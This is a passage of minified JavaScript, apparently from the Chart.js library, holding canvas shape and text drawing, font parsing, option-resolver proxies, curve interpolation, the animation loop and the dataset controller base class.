t.restore();if(!(isNaN(p)||p<=0)){switch(t.beginPath(),f){default:n?t.ellipse(i,s,n/2,p,0,0,st):t.arc(i,s,p,0,st),t.closePath();break;case"triangle":c=n?n/2:p,t.moveTo(i+Math.sin(m)*c,s-Math.cos(m)*p),m+=ht,t.lineTo(i+Math.sin(m)*c,s-Math.cos(m)*p),m+=ht,t.lineTo(i+Math.sin(m)*c,s-Math.cos(m)*p),t.closePath();break;case"rectRounded":h=.516*p,l=p-h,a=Math.cos(m+lt)*l,d=Math.cos(m+lt)*(n?n/2-h:l),r=Math.sin(m+lt)*l,u=Math.sin(m+lt)*(n?n/2-h:l),t.arc(i-d,s-r,h,m-it,m-rt),t.arc(i+u,s-a,h,m-rt,m),t.arc(i+d,s+r,h,m,m+rt),t.arc(i-u,s+a,h,m+rt,m+it),t.closePath();break;case"rect":if(!g){l=Math.SQRT1_2*p,c=n?n/2:l,t.rect(i-c,s-l,2*c,2*l);break}m+=lt;case"rectRot":d=Math.cos(m)*(n?n/2:p),a=Math.cos(m)*p,r=Math.sin(m)*p,u=Math.sin(m)*(n?n/2:p),t.moveTo(i-d,s-r),t.lineTo(i+u,s-a),t.lineTo(i+d,s+r),t.lineTo(i-u,s+a),t.closePath();break;case"crossRot":m+=lt;case"cross":d=Math.cos(m)*(n?n/2:p),a=Math.cos(m)*p,r=Math.sin(m)*p,u=Math.sin(m)*(n?n/2:p),t.moveTo(i-d,s-r),t.lineTo(i+d,s+r),t.moveTo(i+u,s-a),t.lineTo(i-u,s+a);break;case"star":d=Math.cos(m)*(n?n/2:p),a=Math.cos(m)*p,r=Math.sin(m)*p,u=Math.sin(m)*(n?n/2:p),t.moveTo(i-d,s-r),t.lineTo(i+d,s+r),t.moveTo(i+u,s-a),t.lineTo(i-u,s+a),m+=lt,d=Math.cos(m)*(n?n/2:p),a=Math.cos(m)*p,r=Math.sin(m)*p,u=Math.sin(m)*(n?n/2:p),t.moveTo(i-d,s-r),t.lineTo(i+d,s+r),t.moveTo(i+u,s-a),t.lineTo(i-u,s+a);break;case"line":a=n?n/2:Math.cos(m)*p,r=Math.sin(m)*p,t.moveTo(i-a,s-r),t.lineTo(i+a,s+r);break;case"dash":t.moveTo(i,s),t.lineTo(i+Math.cos(m)*(n?n/2:p),s+Math.sin(m)*p);break;case!1:t.closePath()}t.fill(),e.borderWidth>0&&t.stroke()}}function he(t,e,i){return i=i||.5,!e||t&&t.x>e.left-i&&t.x<e.right+i&&t.y>e.top-i&&t.y<e.bottom+i}function ce(t,e){t.save(),t.beginPath(),t.rect(e.left,e.top,e.right-e.left,e.bottom-e.top),t.clip()}function de(t){t.restore()}function ue(t,e,i,s,n){if(!e)return t.lineTo(i.x,i.y);if("middle"===n){const s=(e.x+i.x)/2;t.lineTo(s,e.y),t.lineTo(s,i.y)}else"after"===n!=!!s?t.lineTo(e.x,i.y):t.lineTo(i.x,e.y);t.lineTo(i.x,i.y)}function fe(t,e,i,s){if(!e)return t.lineTo(i.x,i.y);t.bezierCurveTo(s?e.cp1x:e.cp2x,s?e.cp1y:e.cp2y,s?i.cp2x:i.cp1x,s?i.cp2y:i.cp1y,i.x,i.y)}function ge(t,e,i,s,n,o={}){const a=I(e)?e:[e],r=o.strokeWidth>0&&""!==o.strokeColor;let l,h;for(t.save(),t.font=n.string,function(t,e){e.translation&&t.translate(e.translation[0],e.translation[1]),R(e.rotation)||t.rotate(e.rotation),e.color&&(t.fillStyle=e.color),e.textAlign&&(t.textAlign=e.textAlign),e.textBaseline&&(t.textBaseline=e.textBaseline)}(t,o),l=0;l<a.length;++l)h=a[l],o.backdrop&&me(t,o.backdrop),r&&(o.strokeColor&&(t.strokeStyle=o.strokeColor),R(o.strokeWidth)||(t.lineWidth=o.strokeWidth),t.strokeText(h,i,s,o.maxWidth)),t.fillText(h,i,s,o.maxWidth),pe(t,i,s,h,o),s+=n.lineHeight;t.restore()}function pe(t,e,i,s,n){if(n.strikethrough||n.underline){const o=t.measureText(s),a=e-o.actualBoundingBoxLeft,r=e+o.actualBoundingBoxRight,l=i-o.actualBoundingBoxAscent,h=i+o.actualBoundingBoxDescent,c=n.strikethrough?(l+h)/2:h;t.strokeStyle=t.fillStyle,t.beginPath(),t.lineWidth=n.decorationWidth||2,t.moveTo(a,c),t.lineTo(r,c),t.stroke()}}function me(t,e){const i=t.fillStyle;t.fillStyle=e.color,t.fillRect(e.left,e.top,e.width,e.height),t.fillStyle=i}function be(t,e){const{x:i,y:s,w:n,h:o,radius:a}=e;t.arc(i+a.topLeft,s+a.topLeft,a.topLeft,-rt,it,!0),t.lineTo(i,s+o-a.bottomLeft),t.arc(i+a.bottomLeft,s+o-a.bottomLeft,a.bottomLeft,it,rt,!0),t.lineTo(i+n-a.bottomRight,s+o),t.arc(i+n-a.bottomRight,s+o-a.bottomRight,a.bottomRight,rt,0,!0),t.lineTo(i+n,s+a.topRight),t.arc(i+n-a.topRight,s+a.topRight,a.topRight,0,-rt,!0),t.lineTo(i+a.topLeft,s)}const xe=/^(normal|(\d+(?:\.\d+)?)(px|em|%)?)$/,_e=/^(normal|italic|initial|inherit|unset|(oblique( -?[0-9]?[0-9]deg)?))$/;function ye(t,e){const i=(""+t).match(xe);if(!i||"normal"===i[1])return 1.2*e;switch(t=+i[2],i[3]){case"px":return t;case"%":t/=100}return e*t}const ve=t=>+t||0;function Me(t,e){const i={},s=z(e),n=s?Object.keys(e):e,o=z(t)?s?i=>B(t[i],t[e[i]]):e=>t[e]:()=>t;for(const t of n)i[t]=ve(o(t));return i}function we(t){return Me(t,{top:"y",right:"x",bottom:"y",left:"x"})}function ke(t){return Me(t,["topLeft","topRight","bottomLeft","bottomRight"])}function Se(t){const e=we(t);return e.width=e.left+e.right,e.height=e.top+e.bottom,e}function Pe(t,e){t=t||{},e=e||ie.font;let i=B(t.size,e.size);"string"==typeof i&&(i=parseInt(i,10));let s=B(t.style,e.style);s&&!(""+s).match(_e)&&(console.warn('Invalid font style specified: "'+s+'"'),s=void 0);const n={family:B(t.family,e.family),lineHeight:ye(B(t.lineHeight,e.lineHeight),i),size:i,style:s,weight:B(t.weight,e.weight),string:""};return n.string=function(t){return!t||R(t.size)||R(t.family)?null:(t.style?t.style+" ":"")+(t.weight?t.weight+" ":"")+t.size+"px "+t.family}(n),n}function De(t,e,i,s){let n,o,a,r=!0;for(n=0,o=t.length;n<o;++n)if(a=t[n],void 0!==a&&(void 0!==e&&"function"==typeof a&&(a=a(e),r=!1),void 0!==i&&I(a)&&(a=a[i%a.length],r=!1),void 0!==a))return s&&!r&&(s.cacheable=!1),a}function Ce(t,e){return Object.assign(Object.create(t),e)}function Oe(t,e=[""],i=t,s,n=(()=>t[0])){Q(s)||(s=We("_fallback",t));const o={[Symbol.toStringTag]:"Object",_cacheable:!0,_scopes:t,_rootScopes:i,_fallback:s,_getTarget:n,override:n=>Oe([n,...t],e,i,s)};return new Proxy(o,{deleteProperty:(e,i)=>(delete e[i],delete e._keys,delete t[0][i],!0),get:(i,s)=>Re(i,s,(()=>function(t,e,i,s){let n;for(const o of e)if(n=We(Le(o,t),i),Q(n))return Ee(t,n)?Ve(i,s,t,n):n}(s,e,t,i))),getOwnPropertyDescriptor:(t,e)=>Reflect.getOwnPropertyDescriptor(t._scopes[0],e),getPrototypeOf:()=>Reflect.getPrototypeOf(t[0]),has:(t,e)=>Ne(t).includes(e),ownKeys:t=>Ne(t),set(t,e,i){const s=t._storage||(t._storage=n());return t[e]=s[e]=i,delete t._keys,!0}})}function Ae(t,e,i,s){const n={_cacheable:!1,_proxy:t,_context:e,_subProxy:i,_stack:new Set,_descriptors:Te(t,s),setContext:e=>Ae(t,e,i,s),override:n=>Ae(t.override(n),e,i,s)};return new Proxy(n,{deleteProperty:(e,i)=>(delete e[i],delete t[i],!0),get:(t,e,i)=>Re(t,e,(()=>function(t,e,i){const{_proxy:s,_context:n,_subProxy:o,_descriptors:a}=t;let r=s[e];return tt(r)&&a.isScriptable(e)&&(r=function(t,e,i,s){const{_proxy:n,_context:o,_subProxy:a,_stack:r}=i;if(r.has(t))throw new Error("Recursion detected: "+Array.from(r).join("->")+"->"+t);return r.add(t),e=e(o,a||s),r.delete(t),Ee(t,e)&&(e=Ve(n._scopes,n,t,e)),e}(e,r,t,i)),I(r)&&r.length&&(r=function(t,e,i,s){const{_proxy:n,_context:o,_subProxy:a,_descriptors:r}=i;if(Q(o.index)&&s(t))e=e[o.index%e.length];else if(z(e[0])){const i=e,s=n._scopes.filter((t=>t!==i));e=[];for(const l of i){const i=Ve(s,n,t,l);e.push(Ae(i,o,a&&a[t],r))}}return e}(e,r,t,a.isIndexable)),Ee(e,r)&&(r=Ae(r,n,o&&o[e],a)),r}(t,e,i))),getOwnPropertyDescriptor:(e,i)=>e._descriptors.allKeys?Reflect.has(t,i)?{enumerable:!0,configurable:!0}:void 0:Reflect.getOwnPropertyDescriptor(t,i),getPrototypeOf:()=>Reflect.getPrototypeOf(t),has:(e,i)=>Reflect.has(t,i),ownKeys:()=>Reflect.ownKeys(t),set:(e,i,s)=>(t[i]=s,delete e[i],!0)})}function Te(t,e={scriptable:!0,indexable:!0}){const{_scriptable:i=e.scriptable,_indexable:s=e.indexable,_allKeys:n=e.allKeys}=t;return{allKeys:n,scriptable:i,indexable:s,isScriptable:tt(i)?i:()=>i,isIndexable:tt(s)?s:()=>s}}const Le=(t,e)=>t?t+J(e):e,Ee=(t,e)=>z(e)&&"adapters"!==t&&(null===Object.getPrototypeOf(e)||e.constructor===Object);function Re(t,e,i){if(Object.prototype.hasOwnProperty.call(t,e))return t[e];const s=i();return t[e]=s,s}function Ie(t,e,i){return tt(t)?t(e,i):t}const ze=(t,e)=>!0===t?e:"string"==typeof t?Z(e,t):void 0;function Fe(t,e,i,s,n){for(const o of e){const e=ze(i,o);if(e){t.add(e);const o=Ie(e._fallback,i,n);if(Q(o)&&o!==i&&o!==s)return o}else if(!1===e&&Q(s)&&i!==s)return null}return!1}function Ve(t,e,i,s){const n=e._rootScopes,o=Ie(e._fallback,i,s),a=[...t,...n],r=new Set;r.add(s);let l=Be(r,a,i,o||i,s);return null!==l&&(!Q(o)||o===i||(l=Be(r,a,o,l,s),null!==l))&&Oe(Array.from(r),[""],n,o,(()=>function(t,e,i){const s=t._getTarget();e in s||(s[e]={});const n=s[e];return I(n)&&z(i)?i:n||{}}(e,i,s)))}function Be(t,e,i,s,n){for(;i;)i=Fe(t,e,i,s,n);return i}function We(t,e){for(const i of e){if(!i)continue;const e=i[t];if(Q(e))return e}}function Ne(t){let e=t._keys;return e||(e=t._keys=function(t){const e=new Set;for(const i of t)for(const t of Object.keys(i).filter((t=>!t.startsWith("_"))))e.add(t);return Array.from(e)}(t._scopes)),e}function He(t,e,i,s){const{iScale:n}=t,{key:o="r"}=this._parsing,a=new Array(s);let r,l,h,c;for(r=0,l=s;r<l;++r)h=r+i,c=e[h],a[r]={r:n.parse(Z(c,o),h)};return a}const je=Number.EPSILON||1e-14,$e=(t,e)=>e<t.length&&!t[e].skip&&t[e],Ye=t=>"x"===t?"y":"x";function Ue(t,e,i,s){const n=t.skip?e:t,o=e,a=i.skip?e:i,r=yt(o,n),l=yt(a,o);let h=r/(r+l),c=l/(r+l);h=isNaN(h)?0:h,c=isNaN(c)?0:c;const d=s*h,u=s*c;return{previous:{x:o.x-d*(a.x-n.x),y:o.y-d*(a.y-n.y)},next:{x:o.x+u*(a.x-n.x),y:o.y+u*(a.y-n.y)}}}function Xe(t,e,i){return Math.max(Math.min(t,i),e)}function qe(t,e,i,s,n){let o,a,r,l;if(e.spanGaps&&(t=t.filter((t=>!t.skip))),"monotone"===e.cubicInterpolationMode)!function(t,e="x"){const i=Ye(e),s=t.length,n=Array(s).fill(0),o=Array(s);let a,r,l,h=$e(t,0);for(a=0;a<s;++a)if(r=l,l=h,h=$e(t,a+1),l){if(h){const t=h[e]-l[e];n[a]=0!==t?(h[i]-l[i])/t:0}o[a]=r?h?dt(n[a-1])!==dt(n[a])?0:(n[a-1]+n[a])/2:n[a-1]:n[a]}!function(t,e,i){const s=t.length;let n,o,a,r,l,h=$e(t,0);for(let c=0;c<s-1;++c)l=h,h=$e(t,c+1),l&&h&&(ut(e[c],0,je)?i[c]=i[c+1]=0:(n=i[c]/e[c],o=i[c+1]/e[c],r=Math.pow(n,2)+Math.pow(o,2),r<=9||(a=3/Math.sqrt(r),i[c]=n*a*e[c],i[c+1]=o*a*e[c])))}(t,n,o),function(t,e,i="x"){const s=Ye(i),n=t.length;let o,a,r,l=$e(t,0);for(let h=0;h<n;++h){if(a=r,r=l,l=$e(t,h+1),!r)continue;const n=r[i],c=r[s];a&&(o=(n-a[i])/3,r[`cp1${i}`]=n-o,r[`cp1${s}`]=c-o*e[h]),l&&(o=(l[i]-n)/3,r[`cp2${i}`]=n+o,r[`cp2${s}`]=c+o*e[h])}}(t,o,e)}(t,n);else{let i=s?t[t.length-1]:t[0];for(o=0,a=t.length;o<a;++o)r=t[o],l=Ue(i,r,t[Math.min(o+1,a-(s?0:1))%a],e.tension),r.cp1x=l.previous.x,r.cp1y=l.previous.y,r.cp2x=l.next.x,r.cp2y=l.next.y,i=r}e.capBezierPoints&&function(t,e){let i,s,n,o,a,r=he(t[0],e);for(i=0,s=t.length;i<s;++i)a=o,o=r,r=i<s-1&&he(t[i+1],e),o&&(n=t[i],a&&(n.cp1x=Xe(n.cp1x,e.left,e.right),n.cp1y=Xe(n.cp1y,e.top,e.bottom)),r&&(n.cp2x=Xe(n.cp2x,e.left,e.right),n.cp2y=Xe(n.cp2y,e.top,e.bottom)))}(t,i)}function Ke(){return"undefined"!=typeof window&&"undefined"!=typeof document}function Ge(t){let e=t.parentNode;return e&&"[object ShadowRoot]"===e.toString()&&(e=e.host),e}function Ze(t,e,i){let s;return"string"==typeof t?(s=parseInt(t,10),-1!==t.indexOf("%")&&(s=s/100*e.parentNode[i])):s=t,s}const Je=t=>t.ownerDocument.defaultView.getComputedStyle(t,null),Qe=["top","right","bottom","left"];function ti(t,e,i){const s={};i=i?"-"+i:"";for(let n=0;n<4;n++){const o=Qe[n];s[o]=parseFloat(t[e+"-"+o+i])||0}return s.width=s.left+s.right,s.height=s.top+s.bottom,s}const ei=(t,e,i)=>(t>0||e>0)&&(!i||!i.shadowRoot);function ii(t,e){if("native"in t)return t;const{canvas:i,currentDevicePixelRatio:s}=e,n=Je(i),o="border-box"===n.boxSizing,a=ti(n,"padding"),r=ti(n,"border","width"),{x:l,y:h,box:c}=function(t,e){const i=t.touches,s=i&&i.length?i[0]:t,{offsetX:n,offsetY:o}=s;let a,r,l=!1;if(ei(n,o,t.target))a=n,r=o;else{const t=e.getBoundingClientRect();a=s.clientX-t.left,r=s.clientY-t.top,l=!0}return{x:a,y:r,box:l}}(t,i),d=a.left+(c&&r.left),u=a.top+(c&&r.top);let{width:f,height:g}=e;return o&&(f-=a.width+r.width,g-=a.height+r.height),{x:Math.round((l-d)/f*i.width/s),y:Math.round((h-u)/g*i.height/s)}}const si=t=>Math.round(10*t)/10;function ni(t,e,i){const s=e||1,n=Math.floor(t.height*s),o=Math.floor(t.width*s);t.height=Math.floor(t.height),t.width=Math.floor(t.width);const a=t.canvas;return a.style&&(i||!a.style.height&&!a.style.width)&&(a.style.height=`${t.height}px`,a.style.width=`${t.width}px`),(t.currentDevicePixelRatio!==s||a.height!==n||a.width!==o)&&(t.currentDevicePixelRatio=s,a.height=n,a.width=o,t.ctx.setTransform(s,0,0,s,0,0),!0)}const oi=function(){let t=!1;try{const e={get passive(){return t=!0,!1}};window.addEventListener("test",null,e),window.removeEventListener("test",null,e)}catch(t){}return t}();function ai(t,e){const i=function(t,e){return Je(t).getPropertyValue(e)}(t,e),s=i&&i.match(/^(\d+)(\.\d+)?px$/);return s?+s[1]:void 0}function ri(t,e,i,s){return{x:t.x+i*(e.x-t.x),y:t.y+i*(e.y-t.y)}}function li(t,e,i,s){return{x:t.x+i*(e.x-t.x),y:"middle"===s?i<.5?t.y:e.y:"after"===s?i<1?t.y:e.y:i>0?e.y:t.y}}function hi(t,e,i,s){const n={x:t.cp2x,y:t.cp2y},o={x:e.cp1x,y:e.cp1y},a=ri(t,n,i),r=ri(n,o,i),l=ri(o,e,i),h=ri(a,r,i),c=ri(r,l,i);return ri(h,c,i)}function ci(t,e,i){return t?function(t,e){return{x:i=>t+t+e-i,setWidth(t){e=t},textAlign:t=>"center"===t?t:"right"===t?"left":"right",xPlus:(t,e)=>t-e,leftForLtr:(t,e)=>t-e}}(e,i):{x:t=>t,setWidth(t){},textAlign:t=>t,xPlus:(t,e)=>t+e,leftForLtr:(t,e)=>t}}function di(t,e){let i,s;"ltr"!==e&&"rtl"!==e||(i=t.canvas.style,s=[i.getPropertyValue("direction"),i.getPropertyPriority("direction")],i.setProperty("direction",e,"important"),t.prevTextDirection=s)}function ui(t,e){void 0!==e&&(delete t.prevTextDirection,t.canvas.style.setProperty("direction",e[0],e[1]))}function fi(t){return"angle"===t?{between:wt,compare:vt,normalize:Mt}:{between:St,compare:(t,e)=>t-e,normalize:t=>t}}function gi({start:t,end:e,count:i,loop:s,style:n}){return{start:t%i,end:e%i,loop:s&&(e-t+1)%i==0,style:n}}function pi(t,e,i){if(!i)return[t];const{property:s,start:n,end:o}=i,a=e.length,{compare:r,between:l,normalize:h}=fi(s),{start:c,end:d,loop:u,style:f}=function(t,e,i){const{property:s,start:n,end:o}=i,{between:a,normalize:r}=fi(s),l=e.length;let h,c,{start:d,end:u,loop:f}=t;if(f){for(d+=l,u+=l,h=0,c=l;h<c&&a(r(e[d%l][s]),n,o);++h)d--,u--;d%=l,u%=l}return u<d&&(u+=l),{start:d,end:u,loop:f,style:t.style}}(t,e,i),g=[];let p,m,b,x=!1,_=null;for(let t=c,i=c;t<=d;++t)m=e[t%a],m.skip||(p=h(m[s]),p!==b&&(x=l(p,n,o),null===_&&(x||l(n,b,p)&&0!==r(n,b))&&(_=0===r(p,n)?t:i),null!==_&&(!x||0===r(o,p)||l(o,b,p))&&(g.push(gi({start:_,end:t,loop:u,count:a,style:f})),_=null),i=t,b=p));return null!==_&&g.push(gi({start:_,end:d,loop:u,count:a,style:f})),g}function mi(t,e){const i=[],s=t.segments;for(let n=0;n<s.length;n++){const o=pi(s[n],t.points,e);o.length&&i.push(...o)}return i}function bi(t){return{backgroundColor:t.backgroundColor,borderCapStyle:t.borderCapStyle,borderDash:t.borderDash,borderDashOffset:t.borderDashOffset,borderJoinStyle:t.borderJoinStyle,borderWidth:t.borderWidth,borderColor:t.borderColor}}function xi(t,e){return e&&JSON.stringify(t)!==JSON.stringify(e)}class _i{constructor(){this._request=null,this._charts=new Map,this._running=!1,this._lastDate=void 0}_notify(t,e,i,s){const n=e.listeners[s],o=e.duration;n.forEach((s=>s({chart:t,initial:e.initial,numSteps:o,currentStep:Math.min(i-e.start,o)})))}_refresh(){this._request||(this._running=!0,this._request=Lt.call(window,(()=>{this._update(),this._request=null,this._running&&this._refresh()})))}_update(t=Date.now()){let e=0;this._charts.forEach(((i,s)=>{if(!i.running||!i.items.length)return;const n=i.items;let o,a=n.length-1,r=!1;for(;a>=0;--a)o=n[a],o._active?(o._total>i.duration&&(i.duration=o._total),o.tick(t),r=!0):(n[a]=n[n.length-1],n.pop());r&&(s.draw(),this._notify(s,i,t,"progress")),n.length||(i.running=!1,this._notify(s,i,t,"complete"),i.initial=!1),e+=n.length})),this._lastDate=t,0===e&&(this._running=!1)}_getAnims(t){const e=this._charts;let i=e.get(t);return i||(i={running:!1,initial:!0,items:[],listeners:{complete:[],progress:[]}},e.set(t,i)),i}listen(t,e,i){this._getAnims(t).listeners[e].push(i)}add(t,e){e&&e.length&&this._getAnims(t).items.push(...e)}has(t){return this._getAnims(t).items.length>0}start(t){const e=this._charts.get(t);e&&(e.running=!0,e.start=Date.now(),e.duration=e.items.reduce(((t,e)=>Math.max(t,e._duration)),0),this._refresh())}running(t){if(!this._running)return!1;const e=this._charts.get(t);return!!(e&&e.running&&e.items.length)}stop(t){const e=this._charts.get(t);if(!e||!e.items.length)return;const i=e.items;let s=i.length-1;for(;s>=0;--s)i[s].cancel();e.items=[],this._notify(t,e,Date.now(),"complete")}remove(t){return this._charts.delete(t)}}var yi=new _i;const vi="transparent",Mi={boolean:(t,e,i)=>i>.5?e:t,color(t,e,i){const s=jt(t||vi),n=s.valid&&jt(e||vi);return n&&n.valid?n.mix(s,i).hexString():e},number:(t,e,i)=>t+(e-t)*i};class wi{constructor(t,e,i,s){const n=e[i];s=De([t.to,s,n,t.from]);const o=De([t.from,n,s]);this._active=!0,this._fn=t.fn||Mi[t.type||typeof o],this._easing=Nt[t.easing]||Nt.linear,this._start=Math.floor(Date.now()+(t.delay||0)),this._duration=this._total=Math.floor(t.duration),this._loop=!!t.loop,this._target=e,this._prop=i,this._from=o,this._to=s,this._promises=void 0}active(){return this._active}update(t,e,i){if(this._active){this._notify(!1);const s=this._target[this._prop],n=i-this._start,o=this._duration-n;this._start=i,this._duration=Math.floor(Math.max(o,t.duration)),this._total+=n,this._loop=!!t.loop,this._to=De([t.to,e,s,t.from]),this._from=De([t.from,s,e])}}cancel(){this._active&&(this.tick(Date.now()),this._active=!1,this._notify(!1))}tick(t){const e=t-this._start,i=this._duration,s=this._prop,n=this._from,o=this._loop,a=this._to;let r;if(this._active=n!==a&&(o||e<i),!this._active)return this._target[s]=a,void this._notify(!0);e<0?this._target[s]=n:(r=e/i%2,r=o&&r>1?2-r:r,r=this._easing(Math.min(1,Math.max(0,r))),this._target[s]=this._fn(n,a,r))}wait(){const t=this._promises||(this._promises=[]);return new Promise(((e,i)=>{t.push({res:e,rej:i})}))}_notify(t){const e=t?"res":"rej",i=this._promises||[];for(let t=0;t<i.length;t++)i[t][e]()}}class ki{constructor(t,e){this._chart=t,this._properties=new Map,this.configure(e)}configure(t){if(!z(t))return;const e=Object.keys(ie.animation),i=this._properties;Object.getOwnPropertyNames(t).forEach((s=>{const n=t[s];if(!z(n))return;const o={};for(const t of e)o[t]=n[t];(I(n.properties)&&n.properties||[s]).forEach((t=>{t!==s&&i.has(t)||i.set(t,o)}))}))}_animateOptions(t,e){const i=e.options,s=function(t,e){if(!e)return;let i=t.options;if(i)return i.$shared&&(t.options=i=Object.assign({},i,{$shared:!1,$animations:{}})),i;t.options=e}(t,i);if(!s)return[];const n=this._createAnimations(s,i);return i.$shared&&function(t,e){const i=[],s=Object.keys(e);for(let e=0;e<s.length;e++){const n=t[s[e]];n&&n.active()&&i.push(n.wait())}return Promise.all(i)}(t.options.$animations,i).then((()=>{t.options=i}),(()=>{})),n}_createAnimations(t,e){const i=this._properties,s=[],n=t.$animations||(t.$animations={}),o=Object.keys(e),a=Date.now();let r;for(r=o.length-1;r>=0;--r){const l=o[r];if("$"===l.charAt(0))continue;if("options"===l){s.push(...this._animateOptions(t,e));continue}const h=e[l];let c=n[l];const d=i.get(l);if(c){if(d&&c.active()){c.update(d,h,a);continue}c.cancel()}d&&d.duration?(n[l]=c=new wi(d,t,l,h),s.push(c)):t[l]=h}return s}update(t,e){if(0===this._properties.size)return void Object.assign(t,e);const i=this._createAnimations(t,e);return i.length?(yi.add(this._chart,i),!0):void 0}}function Si(t,e){const i=t&&t.options||{},s=i.reverse,n=void 0===i.min?e:0,o=void 0===i.max?e:0;return{start:s?o:n,end:s?n:o}}function Pi(t,e){const i=[],s=t._getSortedDatasetMetas(e);let n,o;for(n=0,o=s.length;n<o;++n)i.push(s[n].index);return i}function Di(t,e,i,s={}){const n=t.keys,o="single"===s.mode;let a,r,l,h;if(null!==e){for(a=0,r=n.length;a<r;++a){if(l=+n[a],l===i){if(s.all)continue;break}h=t.values[l],F(h)&&(o||0===e||dt(e)===dt(h))&&(e+=h)}return e}}function Ci(t,e){const i=t&&t.options.stacked;return i||void 0===i&&void 0!==e.stack}function Oi(t,e,i){const s=t[e]||(t[e]={});return s[i]||(s[i]={})}function Ai(t,e,i,s){for(const n of e.getMatchingVisibleMetas(s).reverse()){const e=t[n.index];if(i&&e>0||!i&&e<0)return n.index}return null}function Ti(t,e){const{chart:i,_cachedMeta:s}=t,n=i._stacks||(i._stacks={}),{iScale:o,vScale:a,index:r}=s,l=o.axis,h=a.axis,c=function(t,e,i){return`${t.id}.${e.id}.${i.stack||i.type}`}(o,a,s),d=e.length;let u;for(let t=0;t<d;++t){const i=e[t],{[l]:o,[h]:d}=i;u=(i._stacks||(i._stacks={}))[h]=Oi(n,c,o),u[r]=d,u._top=Ai(u,a,!0,s.type),u._bottom=Ai(u,a,!1,s.type),(u._visualValues||(u._visualValues={}))[r]=d}}function Li(t,e){const i=t.scales;return Object.keys(i).filter((t=>i[t].axis===e)).shift()}function Ei(t,e){const i=t.controller.index,s=t.vScale&&t.vScale.axis;if(s){e=e||t._parsed;for(const t of e){const e=t._stacks;if(!e||void 0===e[s]||void 0===e[s][i])return;delete e[s][i],void 0!==e[s]._visualValues&&void 0!==e[s]._visualValues[i]&&delete e[s]._visualValues[i]}}}const Ri=t=>"reset"===t||"none"===t,Ii=(t,e)=>e?t:Object.assign({},t);class zi{static defaults={};static datasetElementType=null;static dataElementType=null;constructor(t,e){this.chart=t,this._ctx=t.ctx,this.index=e,this._cachedDataOpts={},this._cachedMeta=this.getMeta(),this._type=this._cachedMeta.type,this.options=void 0,this._parsing=!1,this._data=void 0,this._objectData=void 0,this._sharedOptions=void 0,this._drawStart=void 0,this._drawCount=void 0,this.enableOptionSharing=!1,this.supportsDecimation=!1,this.$context=void 0,this._syncList=[],this.datasetElementType=new.target.datasetElementType,this.dataElementType=new.target.dataElementType,this.initialize()}initialize(){const t=this._cachedMeta;this.configure(),this.linkScales(),t._stacked=Ci(t.vScale,t),this.addElements(),this.options.fill&&!this.chart.isPluginEnabled("filler")&&console.warn("Tried to use the 'fill' option without the 'Filler' plugin enabled. Please import and register the 'Filler' plugin and make sure it is not disabled in the options")}updateIndex(t){this.index!==t&&Ei(this._cachedMeta),this.index=t}linkScales(){const t=this.chart,e=this._cachedMeta,i=this.getDataset(),s=(t,e,i,s)=>"x"===t?e:"r"===t?s:i,n=e.xAxisID=B(i.xAxisID,Li(t,"x")),o=e.yAxisID=B(i.yAxisID,Li(t,"y")),a=e.rAxisID=B(i.rAxisID,Li(t,"r")),r=e.indexAxis,l=e.iAxisID=s(r,n,o,a),h=e.vAxisID=s(r,o,n,a);e.xScale=this.getScaleForId(n),e.yScale=this.getScaleForId(o),e.rScale=this.getScaleForId(a),e.iScale=this.getScaleForId(l),e.vScale=this.getScaleForId(h)}getDataset(){return this.chart.data.datasets[this.index]}getMeta(){return this.chart.getDatasetMeta(this.index)}getScaleForId(t){return this.chart.scales[t]}_getOtherScale(t){const e=this._cachedMeta;return t===e.iScale?e.vScale:e.iScale}reset(){this._update("reset")}_destroy(){const t=this._cachedMeta;this._data&&At(this._data,this),t._stacked&&Ei(t)}_dataCheck(){const t=this.getDataset(),e=t.data||(t.data=[]),i=this._data;if(z(e))this._data=function(t){const e=Object.keys(t),i=new Array(e.length);let s,n,o;for(s=0,n=e.length;s<n;++s)o=e[s],i[s]={x:o,y:t[o]};return i}(e);else if(i!==e){if(i){At(i,this);const t=this._cachedMeta;Ei(t),t._parsed=[]}e&&Object.isExtensible(e)&&(this,(s=e)._chartjs?s._chartjs.listeners.push(this):(Object.defineProperty(s,"_chartjs",{configurable:!0,enumerable:!1,value:{listeners:[this]}}),Ot.forEach((t=>{const e="_onData"+J(t),i=s[t];Object.defineProperty(s,t,{configurable:!0,enumerable:!1,value(...t){const n=i.apply(this,t);return s._chartjs.listeners.forEach((i=>{"function"==typeof i[e]&&i[e](...t)})),n}})})))),this._syncList=[],this._data=e}var s}addElements(){const t=this._cachedMeta;this._dataCheck(),this.datasetElementType&&(t.dataset=new this.datasetElementType)}buildOrUpdateElements(t){const e=this._cachedMeta,i=this.getDataset();let s=!1;this._dataCheck();const n=e._stacked;e._stacked=Ci(e.vScale,e),e.stack!==i.stack&&(s=!0,Ei(e),e.stack=i.stack),this._resyncElements(t),(s||n!==e._stacked)&&Ti(this,e._parsed)}configure(){const t=this.chart.config,e=t.datasetScopeKeys(this._type),i=t.getOptionScopes(this.getDataset(),e,!0);this.options=t.createResolver(i,this.getContext()),this._parsing=this.options.parsing,this._cachedDataOpts={}}parse(t,e){const{_cachedMeta:i,_data:s}=this,{iScale:n,_stacked:o}=i,a=n.axis;let r,l,h,c=0===t&&e===s.length||i._sorted,d=t>0&&i._parsed[t-1];if(!1===this._parsing)i._parsed=s,i._sorted=!0,h=s;else{h=I(s[t])?this.parseArrayData(i,s,t,e):z(s[t])?this.parseObjectData(i,s,t,e):this.parsePrimitiveData(i,s,t,e);const n=()=>null===l[a]||d&&l[a]<d[a];for(r=0;r<e;++r)i._parsed[r+t]=l=h[r],c&&(n()&&(c=!1),d=l);i._sorted=c}o&&Ti(this,h)}parsePrimitiveData(t,e,i,s){const{iScale:n,vScale:o}=t,a=n.axis,r=o.axis,l=n.getLabels(),h=n===o,c=new Array(s);let d,u,f;for(d=0,u=s;d<u;++d)f=d+i,c[d]={[a]:h||n.parse(l[f],f),[r]:o.parse(e[f],f)};return c}parseArrayData(t,e,i,s){const{xScale:n,yScale:o}=t,a=new Array(s);let r,l,h,c;for(r=0,l=s;r<l;++r)h=r+i,c=e[h],a[r]={x:n.parse(c[0],h),y:o.parse(c[1],h)};return a}parseObjectData(t,e,i,s){const{xScale:n,yScale:o}=t,{xAxisKey:a="x",yAxisKey:r="y"}=this._parsing,l=new Array(s);let h,c,d,u;for(h=0,c=s;h<c;++h)d=h+i,u=e[d],l[h]={x:n.parse(Z(u,a),d),y:o.parse(Z(u,r),d)};return l}getParsed(t){return 